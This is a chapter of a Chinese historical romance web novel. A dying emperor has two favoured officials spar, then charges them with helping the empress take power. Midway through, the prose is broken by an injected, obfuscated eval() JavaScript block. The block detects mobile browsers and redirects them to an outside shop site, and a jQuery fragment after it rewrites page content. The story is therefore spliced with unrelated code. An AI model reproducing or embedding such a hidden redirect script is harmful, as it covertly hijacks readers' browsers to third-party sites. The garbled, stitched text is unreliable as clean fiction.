书房内泡着苦涩中带着一丝清香的药味,这是元无衍平时处理公务的地方,但眼下却干干净净,没有奏折堆积。
尚随清知道说多错多,大多时候都沉默不语着,只在元无衍说话时附和着也跟着聊几句。
眼下他们都无话可说,于是静得偶尔窗外传来几声鸟鸣,和小炉上砂锅里药汤“咕嘟咕嘟”的翻滚声。
元无衍在她面前对于生病这件事,丝毫没有任何掩饰的意思,甚至带着一种近乎淡漠的疏离,淡淡的苦涩药香不停从小炉上的砂锅中传来。
这种小事自是不用元无衍亲自费心。
元无衍注意到尚随清的目光,他如同闲聊:“朕过去政务缠身,不知煎药也自有一份意趣在其中。”
他手中拿着小小的蒲扇,时不时扇动带起一阵微风。
尚随清在下朝后偶尔会被皇帝留下,也无什么要紧的事宜,就只是找她说说话,待遇还颇好有茶有点心。
宫中桂花糕味道极好。
甜而不腻,香软细腻,刚端上来还带着温热的气息,小小一块配上苦茶,唇齿间便香气四溢。
元无衍近来也闲,他很少再过手处理政务,这件事尚随清也只是在闲聊的时候,听元疆饶提起过两句。
现在的政务一半都由皇后来处理,只有皇后拿不准的几件才剩下让元无衍过目。
尚随清认认真真看过那几份被批下来的奏折,她不会的不承认皇后那一手字与元无衍有近乎十成的相似。
所以即使李代桃僵了好一段时间,也没人发现什么不对劲的地方。
可是如果没有常年累月的功夫根本学不到如此相似的地步。
这不由得让尚随清控制不住阴谋论的想法,在心里泛出考量。
元无衍究竟在这其中扮演着什么样的角色?
“朕听闻你的武艺,早在云川一带就颇具盛名。”元无衍用炉子炙着汤药,水汽腾腾蔓延,攀到殿上梁柱。
他专心在手里的事情,像是无心一问。
尚随清摸不准皇帝的意图,也就谦虚道:“陛下谬赞。微臣幼时体弱,家父延请师傅教导,不过是学了几套强身健体的把式,看着似模似样,实则花架子居多,当不得真,只是瞧着好看罢了。”
元无衍缓缓直起身子,取下一侧剑鞘,他的动作并不快,甚至因久病而略显迟滞。
抬眼望来的目光,却足以窥探出元无衍曾经的雷厉风行。
他取下一侧悬挂的剑鞘,侧目瞧着尚随清,他随即手腕一扬。
元无衍语气平淡,却带着不容置疑的意味道:“好,那择日不如撞日,让朕今日瞧瞧你这位少年游侠的本事。”
那连鞘的宝剑便带着风声。
哐当砸在地上。
元无衍随身携带的宝剑带着剑鞘就这样被扔在尚随清面前。
尚随清犹豫再三。
天子面前动兵刃,是大不敬。
可元无衍眼中没有半分虚色。
元无衍就这么坐着,垂眸静静看她。
眼中翻涌着让人看不懂的思量。
于是尚随清接令起身,用脚尖一划挑起剑柄,手臂在胸前一收,便握住了剑柄,把剑从剑鞘中拔了出来。
轻握在手中,尚随清随意地挽一个剑花。
这一套动作动作流云似水,一气呵成,她谦逊一拱手对着元无衍道:“微臣献丑了。”
她目中透着认真,从最简单的劈砍划刺变化成更为复杂的连套动作,长剑在空中留下一道道残影和破空之音。
尚随清脚下动作不停,步伐配合着繁华剑法,她看不出任何疲惫繁忙的神情,脸上挂着轻松写意。
动作不慌不忙,透着从容。
有人。
尚随清猛然脚下动作一滞,凌厉眼风扫去。
目光定格在那边的一瞬间。
青帐屏风侧,一道如有实质能把人刺穿的杀意凶猛袭来,白光乍现,屏风当中被穿了一个洞,背后飞身冒出一人。
她身体启发本能防御,立刻后仰躲避,柔韧腰肢向后一折,尚随清以掌心撑地翻身落地,反身握着剑刺过去。
一套动作干脆利落,却在看见那人的真正面貌时,收着手腕刺偏了方向。
元疆饶将剑收至身后,笔挺地站着,即使看着尚随清带着凶狠轻盈的剑气朝他而来也没有任何防身的动作。
他似乎笃定尚随清不会伤他。
最后剑气冷光,划开了他大臂一侧的衣袖。
元疆饶胳膊上却无血痕。
他漫不经心瞥了一眼胳膊,将自己手中长剑收回到剑鞘。
冲着尚随清得意扬唇,含笑的眼睛似乎会说话。
他一步一步靠近尚随清道:“尚大人武艺高强,只是心不稳,剑也没不稳。”
尚随清因方才的惊变和紧急收势,气息尚有些微乱,握着剑的手也微微紧绷。
元疆饶眼中翻涌的情绪让她看不懂。
他的手交叠着握在尚随清手背之上,暧昧地蹭了一下,动作迅速到微不可察。
在尚随清把目光投过去时,又变得十分正经,元疆饶的指节收紧像是在替她握紧剑柄。
尚随清在看见元疆饶后,小臂内划剑锋朝着自己将锋芒遮掩。
她感受着手背上有些粗粝的触感,掌心和指腹都微微覆盖着一层薄茧。
一回神,尚随清手中微微一颤,微不可查地甩开了元疆饶的亲昵接触。
长剑入鞘,剑身微微发出铮鸣。
“啪啪啪。”
元无衍不在意他们两人之间情意绵绵的动作,两手轻拍为刚才那精彩的一幕喝彩。
“今日叫你们二人来,是朕有事相嘱。”
元无衍浅口抿着茶水,内侍欲劝说些什么,却被他一个眼刀屏退,殿内空荡,内侍全无,只有他们三人。
元无衍看着殿下他最宠信的两位臣子,细细把自己的计划道出。
“你两人武功技艺不相上下,智学才谋也相当,朕有你们很放心。”元无衍说完自己计划后,最后看着两人道。
这两人与他个性合得来,他很喜欢。
倘若不生在帝王家,他们三个或许会是很好的朋友。
元无衍似乎是回光返照,面上病容淡了下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16606281|187570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“最后还有一事,朕死后,遗躯任你们驱使。”他话里话外的意思很明显。
全力扶持王钰缨上位。
尚随清对这对帝后并不了解,眉头一簇正欲说些什么,却被元疆饶死死扣住手腕。
尚随清算是硬生生被元疆饶拽出书房。
尚随清一言不发等着元疆饶解释,他刚才做出的那一番动作。
“你想从哪开始听?”元疆饶问。
尚随清熟稔道:“自然是从头开始。”
“奉命。”元疆饶拱手,做出一副任君差遣的样子,惹得尚随清有几分不知所措地扭开头,遮掩着眼下发热的窘态。
元疆饶曲起手指,掩饰翘起的嘴角道:“我起初不知那是你,看到是你之后就立刻收了手,至于不让你说话这件事……”
“你以为天下有什么事情能瞒过陛下吗?”
元疆饶这句话莫名其妙被尚随清听出了另一层意思,她看向他,试图揣测,却在他脸上半分痕迹都分析不出来。
“我在想,毕竟事关天下,如此是否太过草率?”
元无衍在位期间没做过多么荒唐的事,对比先帝而言堪称明君。
尚随清觉得比起扶持皇后上位,还不如挣扎着多寻些医师。
元疆饶道:“人不可能在一日之间病倒,更何况,出身世家并非就一定是世家的走狗。”
他话说到这顿了顿,随后自嘲一笑,“不是还有我这个朝廷鹰犬吗?”
“走狗也罢,鹰犬又如何?”尚随清与他并肩走着。
“我走在田野为黄牛,在行至朝堂为走狗,在学在书舍为驽马,一生倒是少有为人的时候。”尚随清轻轻拍了拍元疆饶肩膀安慰道。
元疆饶盯着尚随清一开一合有些水润的嘴唇。
忽然移开视线,闷闷道:“有做人的时候。”
“什么?”尚随清没想到元疆饶会如此突兀的说出这句话,她了然一笑道:“那是自然,坊间不都说着什么人生四大乐事。”
“久旱逢甘霖、他乡遇故知……”
尚随清话说到一半被元疆饶接了过去:“金榜题名时和洞房花烛夜。”
最后几个字他拖着尾音故意念得缱绻,目光盯着尚随清的脸,丝毫不掩饰放荡意味。
尚随清对他的调戏视若无睹,似乎已经习以为常。
“元大人若是府中寂寞,我可以帮着元大人问一门好亲事。”
“不劳烦尚大人费心,我心中自有人选。”
尚随清看着元疆饶心情不错一般,潇洒一转,丢给她一个背影就走了。
走之前元无衍对尚随清道:“我最后安顿你一件事。”
元疆饶亲手给她整理好了刚才因为武斗而有些凌乱的衣服,他的动作克制,极有分寸感,点到为止地拽了几下,直到尚随清的衣服平整。
尚随清还没来得及反抗就被他一句话整得惊疑不定。
“皇后不是寻常女子,陛下也自有他的道理。”
一些人到底在打什么谜语?
尚随清对世家的了解并不算多,而其中有些辛秘也不是她能知道的。